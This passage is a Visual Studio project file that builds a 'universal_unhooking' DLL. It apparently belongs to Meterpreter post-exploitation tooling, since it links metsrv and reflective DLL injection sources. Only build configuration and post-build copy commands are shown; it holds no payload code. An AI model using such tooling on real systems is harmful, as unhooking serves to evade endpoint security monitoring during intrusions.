copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalOptions>netapi32.lib mpr.lib %(AdditionalOptions)</AdditionalOptions>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\universal_unhooking.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\universal_unhooking.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\universal_unhooking.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\universal_unhooking.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\universal_unhooking.map</MapFileName>
<SubSystem>NotSet</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\universal_unhooking.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine>
<Profile>false</Profile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\universal_unhooking.map</MapFileName>
<SubSystem>NotSet</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\universal_unhooking.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine>
<Profile>false</Profile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\..\source\universal_unhooking\apisetmap.c" />
<ClCompile Include="..\..\source\universal_unhooking\imports.c" />
<ClCompile Include="..\..\source\universal_unhooking\universal_unhooking.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\source\universal_unhooking\apisetmap.h" />
<ClInclude Include="..\..\source\universal_unhooking\imports.h" />
<ClInclude Include="..\..\source\universal_unhooking\universal_unhooking.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>